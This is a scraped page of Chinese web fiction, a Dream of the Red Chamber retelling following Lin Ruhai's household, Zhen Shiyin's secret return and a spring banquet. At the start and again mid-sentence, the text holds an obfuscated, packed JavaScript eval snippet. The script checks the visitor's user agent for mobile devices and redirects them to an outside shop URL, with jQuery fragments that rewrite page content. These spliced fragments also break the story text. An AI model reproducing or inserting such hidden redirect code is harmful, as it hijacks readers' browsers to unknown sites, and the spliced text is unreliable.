;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16912805|192023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如何?” “儿子想,先派人送封信去,试探甄先生口风,若他愿见,再安排会面,若不愿,也不强求。” “这主意稳妥。”林如海赞许道,“务必隐秘,甄先生如今是许多人的眼中钉,咱们要护他周全。” “儿子明白。” 正说着,外头传来黛玉的声音:“父亲可回来了?” 林如海扬声道:“玉儿进来罢。” 黛玉推门进来,手里捧着个托盘,上头是两盏参汤:“父亲与弟弟说了这许久话,定是渴了,女儿炖了参汤,父亲用些。” 林如海接过,心中温暖,女儿虽身子弱,却最是体贴。 黛玉又对长生道:“你也用一盏,读书辛苦,莫要累着了。” 长生笑着接过:“谢姐姐。” 姐弟二人陪着父亲用了参汤,又说些家常话。 黛玉忽道:“父亲,今日贾府那边送了些东西来,说是给父亲的贺礼。” 林如海眉梢微挑:“什么贺礼?” “两匹宫缎,一盒老参,还有几样文房。”黛玉道,“女儿让林忠收在库房了。” “可说了什么话?” “来的是周瑞家的,只说老太太惦记父亲,让父亲好生歇息,得空过去坐坐。” 林如海点头,贾府这是示好,是试探,送些寻常物件,既不显得巴结,又全了礼数。 “东西既送来了,便收着,”他对黛玉道,“明日让你弟弟备些回礼,也不必贵重,寻常便可。” “女儿省得。” 正说着,林忠来报,说沈砚沈大人来了,林如海让儿女退下,亲自迎出去。 沈砚不是空手来的,手里提着个食盒,笑道:“内人做了些扬州点心,想着如海兄久在扬州,定想念家乡味道,便让我捎来。” 两人进了书房,沈砚敛了笑容,低声道:“如海兄,今日朝会上,圣上那番话,你可听出深意?” 林如海请沈砚坐下,亲自斟茶:“愿闻其详。” “圣上让你拟理财章程,却又让你与陈启年商议,这是要看看户部那些人的态度,”沈砚神色凝重,“陈启年是老尚书,在户部经营多年,门生故旧遍布。你初来乍到,若与他硬碰,讨不了好。” “沈兄的意思是……” “我的意思是,先示弱,”沈砚道,“你这章程,不妨拟得温和些,留些余地。待站稳脚跟,再徐徐图之。” 林如海沉吟片刻,摇头:“不妥,圣上既要整顿,便是要快刀斩乱麻。我若示弱,反倒让圣上失望。” “可陈启年那边……” “陈启年那边,我自有计较。”林如海微微一笑,“沈兄放心,我林如海在扬州数年,什么阵仗没见过?一个陈启年,还难不倒我。” 沈砚见他胸有成竹,便不再劝,转而说起另一件事:“还有一事,王子腾今日下朝后,去了贾府。” 林如海眼神一凝:“可知说了什么?” “具体不知,但探子说,王子腾在贾府待了一个时辰才走。走时面色不豫,想是没谈拢。” 林如海若有所思。 王子腾去贾府,定是为盐案后续,贾政停职待勘,贾府失了顶梁柱,王子腾这是要拉贾府一把,还是……要撇清关系? “沈兄,”他忽然道,“你说王子腾与贾府,如今是谁倚仗谁?” 沈砚想了想:“从前之事倒是理不清,王子腾掌着京营,又得圣上信任,可如今贾政出事,元妃在宫中也不得宠,贾府式微,反倒是王子腾要顾及妹妹在贾府的处境,不得不帮扶一把。” “正是,”林如海点头,“所以王子腾今日去贾府,不是雪中送炭,而是权衡利弊,他若觉得贾府还有用,便会拉一把,若觉得无用便会弃之如敝履。” 沈砚恍然:“如海兄是说,王子腾在观望?” “不止观望,”林如海早已见怪不怪,“他是在等,等一个机会,要么彻底拉贾府一把,重振贾府声威,要么彻底与贾府切割,以免引火烧身。” 窗外暮色渐浓,书房里烛火跳动,两个男人对坐,神色皆凝重。 这朝堂,这京城,从来都不是太平地。 19.甄士隐入林府 天气晴朗。 林如海入户部理事已三日。 这日下值回府,见书房里已掌了灯,长生正伏案写字,见他进来,起身道:“父亲回来了。” “今日如何?”林如海解下官服,换上家常道袍。 “甄先生有回信了,”长生从案上取过一封素笺,双手递上,“是午后送来的,儿子已看过。” 信是甄士隐的亲笔,字迹清癯,如寒梅瘦竹。 林如海展信细看,但见上面写道: “林大人台鉴:蒙君厚意,遣使相邀,贫道山野之人,久离尘世,本不敢再涉红尘,然感君救女之恩,又闻君清正之名,愿赴京一晤。三日后,当抵贵府。士隐顿首。” 信不长,意思却明白,愿来是为报恩,也是为见女儿。 “三日后……”林如海放下信,“可都安排妥当了?” “都妥了,”长生道,“儿子已让人收拾出东跨院的竹风轩,清净雅致,最宜读书静养,伺候的人选了两个稳重的,口风紧,不多话,严先生那边也打过招呼,说是有位故交来京暂住请他不时要来坐坐,免得人生疑。” 林如海点头:“你想得周全,只是……”他停顿片刻,道,“甄先生来时,香菱那边……” “儿子已交代过了,”长生道,“只说父亲有位故交来京,学问极好,要在府里住些时日,让香菱好生伺候姐姐,无事不必往前头来。香菱素来懂事,不会多问。” “那就好,”林如海在椅上坐下,闭目养神片刻,忽道,“长生,你说甄先生见着香菱,可会相认?” 长生沉默半晌,方道:“儿子想,甄先生既知女儿在咱们府上,却不急于相认,定有他的考量,许是怕相认后,反而给女儿招来祸事。” “是啊。”林如海叹息,“他如今是许多人的眼中钉,若让人知他女儿还在,怕是不得安宁,这份隐忍,这份苦心……”他睁开眼,“咱们要体谅。” “儿子明白。” 三日后,甄士隐果然到了。 他是傍晚时分进城的,坐着一辆青布小车,只带了个十来岁的小道童,车子在林府后门停下,长生已候在那里。 “甄先生。”长生上前行礼。 甄士隐下车,他穿着一身半旧的道袍,鬓边已有星霜,唯有眼睛清亮如昔。 他打量着长生,颔首道:“林公子,久违了。” “先生一路辛苦,请进。” 长生引着甄士隐主仆进府,穿过几道回廊,往东跨院去。这一路,甄士隐走得很慢,目光不时扫过府中景致,那方小池,那架秋千,那几丛新移的翠竹,没有莺莺燕燕,每看一处,神色便柔和一分。 到了竹风轩,早有仆役备好热水热茶,甄士隐洗漱毕,换了身干净衣裳,这才在正厅坐下。 长生亲自奉茶:“寒舍简陋,委屈先生了。” “林公子客气,”甄士隐接过茶盏,却不喝,只望着杯中浮沉的茶叶,半晌方道,“令尊可在家?” “父亲在书房等候,请先生移步一叙。” 书房里,林如海已备好茶点,见甄士隐进来,起身相迎:“甄先生,多年不见。” 甄士隐深深一揖:“林大人,士隐有礼了。” 两人分宾主坐下,林如海打量甄士隐,见他虽风尘仆仆,气度却从容,心中暗赞,这才是真正的名士风范,即便落魄,也不减风骨。 “先生一路辛苦,”林如海亲手斟茶,“本该让先生好生歇息,只是有些话,还是早说为好。” “林大人请讲。” “令爱英莲……”林如海斟酌称谓,“如今已确定在林府,小女给她取名香菱,在身边作个伴读。” 甄士隐握着茶盏的手一颤,茶水险些泼出,他稳了稳心神,低声道:“她……可好?” “很好,”林如海温声道,“小女待她如友,教她读书识字,她性子温顺,人也勤谨,府中上下都喜欢她。” 甄士隐闭了闭眼,再睁开时,眼中已有水光:“如此便好,士隐……感激不尽。” “先生不必如此,”林如海道,“只是有一事,要与先生商议,香菱的身世如今只有我与长生知道,是否告诉她,何时告诉她,全凭先生做主。” 甄士隐沉默良久,方道:“林大人,士隐可否先见见她?远远地,看一眼便好。” “自然可以,”林如海道,“明日小女要在园中赏花,香菱定会随侍,先生可在竹风轩的二楼廊下,那里看得清楚。” “多谢。” 这一夜甄士隐辗转难眠,十四年了,整整十四年,那年元宵,家仆抱着三岁的英莲去看灯,只是转身买个糖人的工夫,英莲就不见了,从此天各一方,生死不知,再到家破人亡。 如今女儿就在这座府里,就在离他不过百步之遥的地方,他却不能相认。 这种滋味,一把辛酸泪。 次日,天朗气清。 黛玉果然在园中设了茶席,这几日蔷薇开了,粉白黄紫,开得热闹,她让香菱搬了张藤椅,坐在花架下,手里拿着卷书,却不看,只望着满架繁花出神。 香菱在一旁伺候,斟茶,递点心,动作轻巧,她今日穿着水绿袄子,鬓边簪了朵小小的蔷薇,衬得眉心的胭脂记格外鲜亮。 竹风轩二楼,甄士隐立在廊柱后,隔着窗棂,远远地望着。 十四年了,那个笑嘻唤爹爹的女童,已长成亭亭少女。眉眼像她娘,尤其是那双眼,清澈明净,不染尘埃,只是更加丰腴,想来这些年,林家对她极好。 甄士隐看着女儿斟茶时的动作,那样稳,那样轻,显是惯做这些的,他心里一酸,他的英莲若非被拐本该是千金小姐,如今却为人仆婢。 可是她脸上有笑,是真心欢喜把林家当成了归宿,甄士隐隐晦想起前些年葫芦案,自己得知顺天府破获一起拐子,于是便满怀欣喜前往顺天府探寻询问是否有十二岁眉间胭脂痣的丫头,那贾雨村尖嘴猴腮左顾言他的否认,看面相便是贼,可恨自己还信以为真。 甄士隐连忙回过神,如今是看女儿,不能再想以前可恨的糟蹋事儿,只见女儿为黛玉理鬓边的花时,眼里有关切,黛玉与她说话时,她听得认真,主仆之间不像寻常府邸那般等级森严,反倒多了几分惺惺相惜。 甄士隐看了许久,直到黛玉起身回房,香菱收拾茶具,他才缓缓坐回椅中。 “先生,”长生不知何时来了,站在门口。 甄士隐转头看他,声音有些哑:“林公子。” “先生可看清楚了?” “看清楚了,”甄士隐低声道,“她很好,比我想象的,好得多。” 好到…让甄士隐恍惚以为女儿从未走失。 长生在他对面坐下,沉默片刻,方道:“先生可知,姐姐为何给香菱取名‘香菱’?” 甄士隐摇头。 “香菱二字,出自《楚辞》:‘制芰荷以为衣兮,集芙蓉以为裳。’”长生道,“姐姐说香菱虽命途多舛,却如芰荷般出淤泥而不染。这名字是盼她一生清雅高洁。” 甄士隐眼眶一热,忙低头掩饰,良久,方道:“林姑娘有心了。” “姐姐待香菱,是真心实意的,”长生道,“所以先生不必担心香菱在府中受委屈,至于是否相认全凭先生决断,父亲说了无论先生作何选择,林家都会护香菱周全。” 甄士隐起身,对长生深深一揖:“林大人与公子大恩,士隐没齿难忘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16925489|192023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “先生不必多礼,”长生扶住他,“父亲请先生来,不仅仅为全先生父女之缘,而且还是真心仰慕先生才学,先生若愿留下,林家定以师礼相待;若不愿,也绝不相强。” “留下……”甄士隐望向窗外,园中蔷薇开得正盛,可那架藤椅已空,香菱已不在了,“留下也好,这些年,我四处漂泊也倦了,能离她近些,看着她平安喜乐,便够了。” “先生的意思是……” “士隐愿留在府中,做个清客。”甄士隐转身,,“只是有一事,还请公子转告林大人,士隐既入林府,便与从前种种一刀两断,那本账册便是我的投名状。” 长生郑重点头:“先生放心,这话,长生一定带到。” 当夜,林如海在书房设了小宴,为甄士隐接风。 席间只有三人,菜肴也简单,却样样精致。 酒过三巡,林如海道:“先生既愿留下,如海有一不情之请。” “林大人请讲。” “长生如今在国子监读书,严先生虽学问渊博,可终究年事已高,先生若得闲,可否指点长生一二?也不必正式拜师,只当是长辈教导晚辈。” 甄士隐看向长生,这孩子不过六七岁年纪,却沉稳得不像个孩童,眼神清明,举止有度,他早听说林如海之子六岁中秀才,如今看来,确是非凡,若是明年秋闱下场,许是榜上有名。 “林公子天资聪颖,士隐不敢言教,”甄士隐谦道,“不过若公子不弃,士隐愿与公子切磋学问,互相砥砺。” 这便是答应了。 林如海大喜,举杯道:“如此,便多谢先生了。” 三人又说了会子话,多是学问上的事,甄士隐多年隐居却未放下书本,经史子集,无不通晓。 林如海与他越谈越投机,直到夜深方散。 送走甄士隐,林如海对长生道:“这位甄先生,果然是名不虚传,你日后多与他请教,于你学问大有裨益。” “儿子明白,”长生道,“只是父亲,甄先生既入府,那账册的事……” “账册的事,为父自有主张,”林如海神色不明,“甄先生既说与从前一刀两断,咱们便当不知此事,那些人未必会放过他,你要留心府中动静,若有可疑之人,立即来报。” “是。” 父子二人又说了几句,各自歇息。 这一夜,林府许多人无眠。 黛玉在房中,对香菱道:“今日那位甄先生,你可见着了?” 香菱摇头:“姑娘说笑了,奴婢在后院伺候,怎会见到前头的客人?” “也是,”黛玉笑了笑,“我只是听说,这位甄先生学问极好,父亲请他来府中长住,你日后若在园中遇见,不必拘束,他是父亲敬重的人。” “奴婢记下了。” 香菱服侍黛玉睡下,自己回到隔壁小间,躺在床上,她却睡不着。 白日里在园中,总觉得有人在看她那目光很温和又慈爱,又让她莫名心慌,像是,像是多年前也有人这样看过她,可那是谁呢?她记不清了。 竹风轩里,甄士隐坐在灯下,手里握着块旧帕子。帕子已洗得发白,边角绣着朵小小的莲花,那是英莲周岁时,妻子亲手绣的,十四年了,帕子还在,人却…… 他轻轻抚过那朵莲花,眼前又浮现女儿今日的模样,她长大了,长得很好,眉眼间不比那些贵人差,林姑娘待她好,林公子护着她,林大人更是仁厚,他的英莲虽经磨难,终究是遇到了好人。 这就够了,真的够了。 至于相认……甄士隐闭上眼。 再等等吧,等一切都安稳了,等他这个做父亲的有资格站在女儿面前时再说罢。 20.曲水流觞 四月廿六,林府设宴。 自林如海回京后,这是头一回宴客,帖子早于三日前便发出去了,请的是京中清流一脉的官员及其家眷,也有几位与林家交好的勋贵。 府中从三日前便忙起来,洒扫庭院,布置陈设,连园子里那方小池都换了新水,养了十几尾新买的锦鲤。 长生一早就被叫起,换上崭新的宝蓝绸袍,头发用玉簪绾得齐整。 黛玉那边更早,天不亮就起身梳妆,紫鹃从箱底翻出件淡紫色绣折枝梅的云锦袄,配月白绫裙,又细细梳了个垂鬟分肖髻,簪了支珍珠步摇。 “姑娘今日定是宴上最出挑的。”紫鹃边理裙边笑道。 黛玉对镜看了看,摇头:“太过鲜亮了,今日来的多是清流家眷,朴素些好。”说着便要换下。 紫鹃忙拦住:“姑娘,这已是箱中最素净的一件了。再换,就只剩家常衣裳了,那才失礼呢。” 正说着,香菱捧着个锦盒进来:“姑娘,少爷让送来的。” 黛玉打开,见是一对羊脂玉镯,玉质温润,雕着缠枝莲纹,素雅别致,另有一张字条,是长生笔迹:“姐姐今日戴这个,配那件藕荷色褙子正好。” 黛玉失笑:“他倒想得周全。”便让紫鹃换了那件藕荷色绣兰草的褙子,配上玉镯,果然清雅不俗。 辰时末,客人们陆续到了。 男客在前厅,由林如海与长生接待,来的多是国子监、翰林院的官员,也有几位六部的清流。 众人寒暄着入座,茶过三巡,林如海起身道:“今日请诸位来,不光是为如海洗尘,也是让犬子见见各位世伯世兄,长生,来给诸位行礼。” 长生应声上前,一一见礼,他年纪虽小,举止却从容有度,行礼问安,应答得体,众人都暗暗点头。 “林公子果然少年英才。”说话的是国子监祭酒李大人,“听闻六岁便中了秀才,真是后生可畏。” 林如海谦道:“李大人过奖了,犬子不过侥幸,日后还要各位多多指点。” “指点不敢。”李大人笑道,“倒是我那不成器的儿子与林公子同在监中读书,日后还要请林公子多照应。” 他指的是李翰林之子李煦,今日也来了,是个十五六岁的少年,眉目清秀,见长生看他,便微笑着点头示意。 女客这边更热闹些,黛玉在花厅接待,来的多是各府的女眷、姑娘。 严朴的夫人严太太最先到,携着女儿严素心,一个十五六岁的姑娘穿着浅绿衫子,眉眼温柔,见黛玉便笑:“早听父亲提起林姑娘,今日一见,果然不凡。” 黛玉忙还礼:“严姐姐谬赞了。” 接着是沈砚的夫人沈太太,带着两个女儿:沈玉如、沈玉妍,都是十一二岁年纪,活泼可爱,一进来便围着黛玉问东问西。 周文渊的夫人周太太也到了,身边跟着个八九岁的小姑娘,是周文渊的幼女周静姝,怯生生的,拉着母亲衣角不敢说话。 再往后,各府女眷陆续到了,花厅里渐渐坐满,黛玉一一招呼,落落大方,紫鹃、香菱在一旁伺候茶水点心,井然有序。 严太太看着,对沈太太低声道:“林姑娘年纪虽小,行事却周到你看她待客不卑不亢,说话也得体,真是难得。” 沈太太点头:“到底是书香门第出来的,不一样。” 正说着,外头传报:“镇国公府牛夫人到,牛小姐到。” 众人都是一静,镇国公府是勋贵,与清流向来不太往来,今日怎么也来了? 只见一位四十来岁的夫人进来,穿着绛紫妆花缎袄,气度雍容,身后跟着个十四五岁的姑娘,穿着鹅黄绣百蝶的裙子,模样俏丽,只是眉眼间有些傲气。 黛玉上前行礼:“牛夫人,牛小姐。” 牛夫人打量她几眼,笑道:“这便是林姑娘?果然好模样。我家萱儿与你年纪相仿,日后可要多走动。”又对众人道,“我家老爷与林大人同朝为官,今日特来道贺,诸位莫怪我们唐突。” 这话说得客气,众人忙道不敢。 牛夫人落了座,牛萱便挨着黛玉坐下,侧头直勾勾盯着她,这林家小姐倒是生得极好,看着倒弱柳扶风,不知怎的牛萱心底冒出几分说不清的情绪。 宴席设在园中,时值暮春,园中花木繁盛,蔷薇开得正好。林如海命人在池边设了曲水流觞,又在另一处摆了投壶、双陆等玩器,让客人自便。 男客们在池边饮酒赋诗,女客们则在花架下品茶闲话,牛萱拉着黛玉道:“林姑娘,咱们去投壶可好?我听说你投壶极准,今日定要见识见识。” 黛玉推辞不得,只得随她往投壶那边去,几位年轻姑娘也跟着去看热闹。 投壶设在园子东边,已聚了不少人,李煦、陈景行几个少年正在比试,见姑娘们来,都停了手。 牛萱拿起一支箭,对黛玉道:“林姑娘先请。” 黛玉接过箭,看了看壶距,约莫十步,她屏息凝神,手腕轻抖,箭矢划出一道弧线,稳稳落入壶中。 “好!”众人喝彩。 牛萱不服,也投了一支,却偏了。 她脸一红,又投一支,这才入壶,接下来几位姑娘轮流投,有中的,有不中的,笑声不断。 轮到黛玉再投时,她道:“这样投没意思,不如咱们加点彩头?” “什么彩头?”牛萱问。 黛玉指着池边一株开得正盛的玉兰:“谁投中了,便折枝玉兰簪在发间,谁投不中便罚作诗一首,如何?” 这主意新鲜,众人都说好,于是重新比过,这一回,黛玉连投三箭,箭箭入壶。 她簪了三枝玉兰,人比花俏,牛萱投中两箭,也簪了两枝,其余姑娘有中有不中,中了的高兴,不中的便苦思冥想作诗。 沈玉如投偏了,苦着脸道:“我可不会作诗。” 黛玉笑道:“不会作诗,便唱支曲子,或是说个笑话都使得。” 沈玉如便唱了支江南小调,嗓音清甜,众人听了都抚掌称赞。 这边正热闹,那边曲水流觞也开始了,林如海与几位大人坐在上首,酒杯顺水而下,停在谁面前,谁便需饮酒赋诗。 酒杯第一次停在李大人面前,他拈须想了想,吟道:“春水初生绿满池,林花已放两三枝。东风不与人方便,吹落蔷薇第几时?” 众人赞好,酒杯继续流,这次停在陈景行叔伯陈御史面前,陈御史笑道:“老夫不善诗词,便以茶代酒罢。”饮了茶,也吟了一首。 如此几轮,酒杯停在长生面前,众人皆笑:“林公子年纪最小,该罚该罚。” 长生不慌不忙,起身道:“晚辈年幼,不敢在诸位前辈面前献丑便以春为题,作联句一副,请诸位指教。”说罢道,“东风拂柳水初明,燕子裁云雨乍晴。。” “好!”李大人拍掌,“东风拂柳,燕子裁云,对仗工整,意境清新,林公子果然才思敏捷。” 林如海含笑看着儿子,那边女客们听见喝彩声,也围过来看。 牛萱羡慕地对黛玉低声道:“你弟弟真厉害。” 黛玉微笑,:“他还小,不过侥幸罢了。” 牛萱扯了扯嘴角,干巴巴道,:“什么时候我家弟弟能如此侥幸就好了。” 正说着,酒杯又流,这次竟停在黛玉面前,众人都是一愣,今天这曲水流觞是给男客安排的游戏,女客玩投壶累了很少下场,更莫论林家小姐体弱费神。 黛玉却不慌,起身行礼:“既然酒杯停在此处,晚辈便献丑了。”她略一沉吟,吟道,“曲水浮觞醉眼明,春风不度玉关情,谁家燕子衔泥去,犹带蔷薇一偏行。” 四下寂静。 片刻,李大人叹道:“好一个春风不度玉关情!林姑娘这诗,柔中带刚,哀而不伤,真乃佳作。” 众人纷纷称赞,牛夫人看着黛玉,有些惊讶,心里升起几分欣赏,原以为这林家姑娘不过是个文弱小姐,不想竟有这般才情。 宴至午后,客人们陆续告辞,黛玉一一送到二门,礼数周全,牛萱三步一回头什么也没说离开了。 严太太临走时拉着她的手道:“好孩子,日后常来家里玩,素心一人在家也闷,你们姐妹正好作伴。” 沈太太也说:“玉如和玉妍也常念叨你呢,得 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林如海摆摆手,示意她坐下,又道:“今日来的这些人家,多是清流正派,你们日后多走动,于你们,于林家,都有益处。” “儿子(女儿)明白。” 林如海又交代几句,便回房歇息去了,长生送父亲出去,回来时见黛玉仍坐在那儿,望着那方端砚出神。 “姐姐想什么?”他问。 黛玉轻声道:“我在想,今日来的那些姑娘,严姐姐温柔,沈家两位妹妹活泼,周家妹妹腼腆……都是好相处的,只是那位牛小姐,瞧着有些傲气。” “牛萱?”长生想了想,“她是镇国公府的嫡女,有些傲气也是常情,不过今日她对姐姐倒还客气。” “是客气,也疏远,”黛玉道,“我瞧她看我的眼神,总带着估量和傲气,许是觉得我不过是个三品官的女儿,不配与她交往罢。” 长生皱眉:“姐姐不必在意这些,咱们林家虽不是勋贵侯爵,可父亲是圣上倚重的臣子,姐姐的才情人品,也胜过她们许多。” “我不是在意这个,”黛玉笑了笑,“只是觉得,人与人相交,贵在知心,若因门第高低便分亲疏,那这交情不要也罢。” 长生点头:“姐姐说得是。” 正说着,香菱进来道:“姑娘,少爷,甄先生让送点心来了。” 只见她捧着个食盒,里头是几样精致点心:玫瑰糕、枣泥酥、豌豆黄,都是扬州风味。 “甄先生说,今日宴客,姑娘和少爷定是累了,让用些点心垫垫。”香菱说着,将点心摆好。 黛玉拿起一块玫瑰糕,咬了一口,甜而不腻,满口花香,忽然想起什么,问香菱:“你今日可见着那位甄先生了?” 香菱摇头:“没有,点心是小厮送来的,说是甄先生亲手做的。” “甄先生还会做点心?”长生有些意外。 “听小厮说,甄先生年轻时游历四方,学了不少手艺,这点心是他按扬州做法做的,让姑娘少爷尝尝家乡味道。” 黛玉放下点心,轻声道:“这位甄先生,倒是个有心人。” 香菱退下后,长生低声道:“姐姐,甄先生既在府中,我想明日便去向他请教功课,父亲也说,甄先生学问好,让我多与他亲近。” “该当的,”黛玉道,“只是要恭敬些,莫要失了礼数。” “姐姐放心。” 姐弟二人又说了会子话,便各自回房。 这日宴客虽累,也让黛玉结识了不少同龄的姑娘,严素心温柔敦厚,沈家姐妹活泼可爱,周静姝虽羞怯,却也纯真,至于牛萱……罢了,合得来便多走动,合不来便少往来,顺其自然罢。 窗外月色正好,洒在园中,将那架秋千和那方小池都镀上银光。 竹风轩里,甄士隐站在窗前,望着正房的方向那里灯火已熄,想来孩子们都睡了,今日他虽未露面,却在二楼看得清楚。 他的英莲在这样的人家,有这样的主家,是福气。 甄士隐轻轻叹了口气,关上了窗。 21.兰因絮果 南有嘉树,丹若灼灼,京城入了夏。 自那日宴后,林府又恢复了往日的宁静,对于林长生而言,国子监的日子多了些微妙变化。 这日散学,长生与陈景行并肩走出监门,槐花开过了,如今是满树青翠,蝉声初起。 “林公子这几日可觉得,牛清有些奇怪?”二人闲聊到人际变化道上,陈景行随口道。 长生脚步一顿,确实奇怪。 自林府宴后,那位镇国公府的少爷牛清见了他竟像见了鬼似的,远远便绕道走,往日那股子嚣张跋扈劲儿半点不见了。 “许是他家大人说了什么。”长生淡淡道。 陈景行摇头:“不止如此,我听说前几日牛清在家挨了顿好打,镇国公亲自动的手,说是他在外头惹是生非,”又接着说,“有人传言,这与林大人回京有关。” 长生心思活络,父亲回京,圣上重用,清流一脉声势渐起,镇国公府虽是勋贵,可如今勋贵势微,圣心又明显偏向清流,牛家自然要收敛些。 牛清挨打,怕不是“惹是生非”那么简单,而是镇国公在向林家等为首的清流示好?有些不太可能。 “多谢陈兄告知。”长生拱手,“这些事,咱们做晚辈的,还是少议论为好。” 陈景行会意,不再多言,转而说起课业,两人在街口分手,长生上了自家马车。 回到府中,先去书房向父亲请安,林如海正在看户部卷宗,见儿子回来,放下文书:“今日学里可好?” “都好,”长生将牛清的事说了,末了道,“儿子想,镇国公这是在做姿态。” 林如海点头:“不错,牛继宗此人看着粗豪,实则精明,他知圣上如今看重清流,便让儿子收敛些,一来向咱们示好,二来也是做给圣上看,”他想到了什么又说道,“不过,这倒让为父想起一事,前日朝会上圣上提起要整顿京营,点了王子腾的名。” 长生:“圣上这是……” “敲打,”林如海不紧不慢道,“王子腾掌京营多年,势力盘根错节,圣上既要用他也要防他,整顿京营便是要削他的权。” “那镇国公……” “牛继宗是聪明人,见风使舵罢了。”林如海冷笑,“他们这些勋贵,最懂审时度势,如今见王家势弱,自然要另寻靠山。” 父子二人正说着,外头传来黛玉的声音:“父亲可在?” “进来罢。” 黛玉推门进来,今日穿着一身浅碧纱衣,发间簪着朵小小的茉莉,清雅怡人。 她手里捧着个绣绷,上头是幅未完成的《荷塘清趣》。 “女儿绣了幅画,请父亲品评。”黛玉将绣绷递上。 林如海接过细看,但见荷叶田田,荷花亭亭,水波粼粼,一只蜻蜓立在荷尖,栩栩如生。 针脚细密,配色淡雅,确是好绣工。 “好,好,”林如海连声称赞,“玉儿这手绣活,越发出色了。” 黛玉抿唇一笑:“父亲过奖,女儿想着再过几日便是端午,这绣屏正好应景。”又道,“还有一事,严姐姐今日送了帖子来,邀女儿明日过府赏荷。” “严家?”林如海想了想,“可是国子监祭酒李大人那位亲家?” “正是,严姐姐说她家后园有方荷塘,这几日荷花初开,正好赏玩。”黛玉说着,眼里满是期待,“严姐姐还邀了沈家两位妹妹、周家妹妹,说要办个荷塘小集。” 林如海点头:“严家是清流正派,你去走走也好,只是要记得礼数,莫要失了分寸。” “女儿省得。” 长生在一旁听着,忽然道:“姐姐,严家既邀了沈家、周家,可有邀牛家?” 黛玉摇头:“帖子是严姐姐亲自送来的,只说邀了几位相熟的姐妹,并未提牛家。”又道,“说来也奇,前日牛家小姐遣人送了封信来,言辞颇为热络。” “哦?”林如海挑眉,“说了什么?” 黛玉从袖中取出封信,递上。 林如海展开,见是女子娟秀的字迹,写的是: “林姑娘芳鉴:前日府上一晤,惊为天人,姑娘才情品貌实乃萱生平仅见,京中闺秀虽多,然如姑娘这般清雅脱俗者,再无二人。萱常思,若能与姑娘为友,当是人生幸事,不知姑娘可愿拨冗,过府一叙?镇国公府牛萱谨上。” 信不长,可字里行间,推崇备至。 林如海看完,将信递还给女儿:“你怎么看?” 黛玉接过信,轻声道:“牛小姐……太过誉了,女儿不过中人之姿,哪里当得起惊为天人四字。” “不是问你这个,”林如海微笑,“是问,你打算如何回她?” 黛玉想了想,道:“女儿想,牛小姐既诚心相邀,拒之不恭,只是她毕竟是勋贵之女,势力盘根复杂,咱们是清流之家,往来过密,恐惹闲话。不若先婉拒,只说近日已有约,改日再叙,如此留了余地。” 林如海赞许地点头:“你想得周全,便这么办罢。” 长生却道:“姐姐,牛萱此人心高气傲,她这般推崇姐姐,怕是另有所图。” “图什么?”黛玉不解。 “图名。”长生缓缓道,“牛萱在京城闺秀中,素有才名,可那日宴上姐姐的才情远胜于她,她若能与姐姐交好,传出去,便是镇国公府千金与林侍郎之女惺惺相惜于她的名声大有裨益。” 黛玉恍然:“原来如此。”她轻叹一声,“这些虚名,有何意义?我倒宁愿像严姐姐那般,安安静静地过日子。” “人与人的追求不同,”林如海道,“牛萱生在勋贵之家看重名声体面,也是常情。只是玉儿,与人交往,贵在真诚,若只为虚名而来,这情谊,不要也罢。” “女儿谨记。” 第二日,黛玉如约去了严府。 严府在后街,是座三进的宅子,不大,却收拾得雅致,严太太亲自在二门迎她,笑道:“可算把林姑娘盼来了,素心一早就在念叨呢。” 严素心果然已在花厅等着,见黛玉来,忙迎上来:“林妹妹来了,快坐,尝尝我新沏的荷花茶。” 花厅里已坐了几位姑娘:沈玉如、沈玉妍姐妹,周静姝,还有两位黛玉不认识的,经严素心介绍,一位是礼部侍郎之女王婉容,一位是太常寺少卿之女孙若兰,都是清流家的姑娘。 众人见了礼,坐下说话。 严素心命丫鬟摆上茶点,又让人将临水的轩窗都打开,外头荷塘风光,一览无余。 正值初夏,塘中荷叶亭亭,荷花初绽,粉白相间,随风摇曳,几只蜻蜓点水而过,激起圈圈涟漪。 “真是好景致,”沈玉如赞叹,“严姐姐家这荷塘,比我们家的大了许多。” 严素心笑道:“我祖父在时最爱荷花,特意凿了这塘,这些年父亲精心打理才有了今日这般模样。” 众人说着话,品着茶。 王婉容忽道:“林姑娘前日那首诗,我父亲看了,赞不绝口呢,说‘春风不度玉关情’一句,有唐人遗韵。” 黛玉谦道:“王姐姐过奖了,不过是即兴之作,当不起这般称赞。” “林妹妹莫要过谦,”严素心道,“你那日投壶作诗,我们都瞧在眼里,牛家那位小姐素来眼高于顶,不也对你推崇备至?” 提到牛萱,孙若兰轻哼一声:“牛萱那人,最是势利,她那般推崇林妹妹,怕是别有用心。” 这话说得直白,众人都是一静,严素心忙打圆场:“孙妹妹说笑了,牛小姐虽有些傲气,可对林妹妹确是真心推崇。前日她还与我打听林妹妹呢。” “打听什么?”黛玉问。 “问你可有什么喜好,平日爱读什么书,做什么消遣,”严素心笑道,“我说林妹妹最爱读书作诗,她便说要送你一套《全唐诗》。” 黛玉微微蹙眉,牛萱这般殷勤,倒让她有些不安。 正说着,外头丫鬟来报:“姑娘,镇国公府牛小姐来了,说是路过严府,特来拜会。” 众人都是一怔,镇国公府外出不论去哪,路过的都和严府八竿子打不着。 严素心与母亲对视一眼,严太太道:“既来了,便请进来罢,都是年轻人,一处说说话也好。” 不多时,牛萱进来了。 